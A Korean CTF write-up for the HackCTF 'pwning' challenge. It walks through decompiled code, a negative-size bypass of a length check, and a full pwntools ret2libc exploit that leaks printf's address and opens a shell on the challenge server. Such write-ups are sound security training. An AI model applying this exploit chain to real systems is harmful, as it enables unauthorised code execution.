Pwnstar
HackCTF pwning 본문
예전에 라업을 작성했던것 같은데 없다...?
아무튼 다시 풀어보자
보호기법은 NX bit만 걸려있다.
IDA로 함 까보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
return vuln();
}
요래 생겼다. vuln 함수도 까보자
int vuln()
{
char nptr; // [esp+1Ch] [ebp-2Ch]
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(&nptr, 4);
v2 = atoi(&nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!\n", v2);
printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
get_n(&nptr, v2);
return printf("You said: %s\n", &nptr);
}
대충 감이 온다. oob가 발생할 것 같다. 그러고 get_n으로 입력을 받는데,
int __cdecl get_n(int a1, unsigned int a2)
{
int v2; // eax
int result; // eax
char v4; // [esp+Bh] [ebp-Dh]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = 0;
while ( 1 )
{
v4 = getchar();
if ( !v4 || v4 == 10 || v5 >= a2 )
break;
v2 = v5++;
*(_BYTE *)(v2 + a1) = v4;
}
result = a1 + v5;
*(_BYTE *)(a1 + v5) = 0;
return result;
}
단순히 입력을 받는 함수인 것 같다
그러면 처음에 사이즈의 입력을 -1을 주면 if문도 우회할 수 있고, 입력도 얼마든지 받을 수 있으니 -1을 입력하고 bof를 이용하면 될 듯 하다.
from pwn import *
#p = process("./pwning")
p = remote("ctf.j0n9hyun.xyz", 3019)
binsh = "/bin/sh\x00"
print_plt = 0x8048370
print_got = 0x804a00c
vuln = 0x0804852f
p.recvuntil("How many bytes do you want me to read? ")
payload = "-1"
p.sendline(payload)
p.recvuntil("\n")
payload = ""
payload += "A"*48
payload += p32(print_plt)
payload += p32(vuln)
payload += p32(print_got)
p.sendline(payload)
p.recvuntil("\n")
leak = p.recv()
#log.info("leak = " + leak)
print_leak = u32(leak[:4])
log.info("printf = " + hex(print_leak))
system = print_leak - 0xe6e0
binsh = print_leak + 0x11000b
p.sendline("-1")
p.recvuntil("\n")
payload = ""
payload += "A"*48
payload += p32(system)
payload += "AAAA"
payload += p32(binsh)
p.sendline(payload)
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
hackctf childheap (0) | 2021.01.26 |
---|---|
HackCTF 풍수지리설 (0) | 2020.07.22 |
HackCTF Unexploitable #3 (0) | 2020.06.29 |
HackCTF j0n9hyun's secret (0) | 2020.06.29 |
HackCTF World Best Encryption Tool (0) | 2020.06.28 |
Comments